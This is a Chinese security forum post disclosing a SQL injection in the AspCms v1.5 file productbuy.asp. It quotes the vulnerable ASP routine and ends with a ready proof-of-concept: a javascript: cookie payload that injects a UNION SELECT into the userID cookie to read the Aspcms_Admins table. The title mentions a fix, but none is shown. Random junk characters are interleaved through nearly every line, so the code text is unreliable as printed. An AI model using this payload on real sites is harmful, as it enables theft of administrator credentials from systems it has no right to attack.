找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2492|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....4 G0 w: E/ @/ |" t
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
6 |$ r& \) p5 b废话不多说,看代码:
2 e5 l7 q8 I8 Z; X1 s: C2 ^% B7 d, g& b0 }0 {$ O4 u% }
<%) K" r* ~& ~/ @; y6 l

/ b, U  }) p% S. f( s9 e4 |if action = "buy" then
, _  O3 h8 Z# g. |. V' B% u0 H9 C" a9 ?, y
        addOrder()
" L: K! L# s* d' b! K# `9 R4 D
  M! T; P6 m! u3 ~  u) l  |else4 T+ N6 T3 u& C7 m* f3 m7 ?

6 C  Y3 b1 O2 q) }        echoContent()/ p6 D) a" N7 M9 b9 d, X
* \% f1 o, S. K& F4 E& H
end if+ {9 k; Z  p1 B

( j& e& i! N/ J8 s. ]* s
- A# C/ N3 `' h7 O. T  @) J1 W6 L# Q1 z( J+ q/ z/ l5 S
……略过
4 g; t. Y- {: U4 b5 x
1 w9 ?1 q7 U! ?
, p9 C% |. X7 \/ `( `/ w$ c& k' q) ~- Z. Z- {; L
Sub echoContent(). _$ m3 C+ g7 g, E

" g& q* {5 ?: H$ [/ L" g        dim id
9 K  L) z; V4 E) |6 Z3 \5 S8 j# j+ z, K0 _$ F
        id=getForm("id","get")5 X- B2 L8 g# \6 `4 `; }, f/ _
1 ^+ W; w# a# g2 ]# A/ ^' o% b
        # r+ I. Z% F+ s/ n" J: j4 Q3 \

( E; q  u$ j/ \        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" ) p' I( B- ^/ F1 C

) e9 }; m  D: t- O        
$ i+ S- k9 {, `  ]$ b& c3 {7 m. y$ ]% c/ E0 u+ p
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")) V' _: d8 ~5 u& N) _

2 ^$ u7 p- e# L# [" G        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct; @/ z8 F% u6 j# j" m
* B- `" m0 \& j' `/ f! A
        Dim templatePath,tempStr
& O7 |# K4 N7 Q7 R, t7 ?0 B; P2 \# P# |" Y3 h: ^: @: b
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
0 O0 N4 Z6 `0 q. g1 P0 o  Q: t* Z
9 b) F4 @: j" P* |7 L' y, e
. h* P4 S9 @2 ^0 r) x2 l
6 E& T0 _' q2 b6 o8 s+ A2 z        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")7 u# H0 F5 d2 G  ~% ?$ _; g9 F& u

! K4 |6 n5 G; p$ W        selectproduct=rsObj(0)
% S/ ~! X* Q* K
* r' ~" D. M8 l2 `) G/ }9 ~. ~, \* `$ B        # b; R6 m/ t; ?" T8 C
' u+ b* w6 Z, E+ _* s
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( U" O- D) p; x5 r( f/ S5 S
: O  S/ d; g/ R( L        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0/ P! R1 g$ z# R: z. a; K2 ^
4 B+ I' s5 M8 g# h. p" I
        if rCookie("loginstatus")=1 then  
2 n3 `, v% _) R/ |9 l& M  z+ F( ^3 ~/ [0 Y5 H* G
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 I+ F! O* o5 n: J# @: _8 F  _/ r! J
                linkman=rsObj("truename")
1 D- Y' E  L8 C' d
2 J* X' _1 U! L% U* U, A                gender=rsObj("gender")
% T7 c3 ~* k, h, a& x/ w: ]- [- [  A3 w0 c. N( f! q
                phone=rsObj("phone")# y5 Y# d4 ?" u8 x0 n( p' l" `

, V; r4 B1 v% m4 X  X                mobile=rsObj("mobile")
& v0 J9 H0 A4 I1 y! F2 p  k# U& C' p- I* a
                email=rsObj("email"); v% O- {1 d5 B/ t, D2 W4 ^3 `

  ^. H" \; i( p& _+ j5 I" C, C                qq=rsObj("qq"); D0 s; b) W9 z& d% I" R0 N

: {& j7 ~' X; k& H  P- T$ I                address=rsObj("address")- r! B7 w/ H& Q3 q7 y( F) M! U
# ?5 C) T5 R" U) H% I2 v
                postcode=rsObj("postcode")) ~6 e2 }5 v) u
" t6 `5 K# x6 \% e$ Q
        else
; U' J. U6 U' Q7 x  ]% @) |- T8 q* t/ }0 z: R3 }- Z1 a, A2 h$ [
                gender=1: j3 Y3 v$ x7 a) G2 C! Y; o5 `

7 N; g3 Y) w: d: j. X        end if
1 u( N0 V! C+ l& ^5 F1 `3 o$ l5 M' p5 G# w) q$ O
        rsObj.close()! c1 `( H+ q6 @! [( {! \4 m

7 W2 F, B' d0 |$ @: \               
0 G7 b8 h9 p: l6 Y0 ?2 E0 X9 M' P
3 N! {% h, p) A/ ], a        with templateObj
6 U6 K# Y, q) t* b. ^
( e- u) d9 z! E4 o3 z1 E# s) o! {                .content=loadFile(templatePath)        : D2 Y* q! D) Y2 _7 D- f. @
- S6 _0 M, y6 j2 k  C
                .parseHtml()
$ [: r  w  D$ H+ `5 W. b* H0 L+ {4 g8 D
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)/ ~3 }; h7 s" J1 `4 N' y
4 x  Y5 U8 w; \( u
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
+ e& R# [) f) N2 x" H# t5 Z* ?1 e" x( D' h& c+ \7 |
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
* k2 \  j% p  z& I( q+ }8 z% e
6 A- d* Z% `, g1 l1 m' n6 S                .content=replaceStr(.content,"[aspcms:phone]",phone)               
' e& i; Z) s1 c! `) z" r) {9 k7 ]2 D) a1 V8 i
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                * P% R: t5 }4 i& H8 [- r  g) E. i

% G3 `  O6 H' Y3 U                .content=replaceStr(.content,"[aspcms:email]",email)                        ' G0 d8 y- W4 j+ Y6 f! U

# }. o! y$ r$ q' K  m0 b* @# Z                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
$ }- m8 j# P* u5 `9 T: y& M. a! O4 i% @
                .content=replaceStr(.content,"[aspcms:address]",address)                        
. U$ T$ Q" b6 D, D+ R6 A
! [! T" j$ z' S* V8 y                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
( ]+ D% E+ f' k2 `5 u
' g# u+ ^; T* M" Z/ g                .parseCommon()                 
) U- x5 p/ x  ~! ^2 y* a9 t* v( M
                echo .content
% {! R" M. |( H8 B. ]4 [; c! g% q6 i; J6 Z8 N6 R; F4 Z1 C& {' A( |3 }& F/ y
        end with! X/ ^" n2 m2 I& b+ H7 _( r

! c  a2 s) X; k  l5 Q3 C+ V        set templateobj =nothing : terminateAllObjects  P. M1 c1 r: S9 w# W" G$ f: F' k
' N& |' N8 Z! `3 W9 o* q: u" T
End Sub
) T6 z9 A1 B5 d" x5 E. K3 C漏洞很明显,没啥好说的" E9 _9 h" d( }8 x
poc:2 A# i1 |- y4 N; O! N

; U3 O; t/ J" ^/ L' k5 Ejavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​1 p, h3 q6 r) k4 D; A, `

9 f) p; k: W, V$ v: i& u" m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表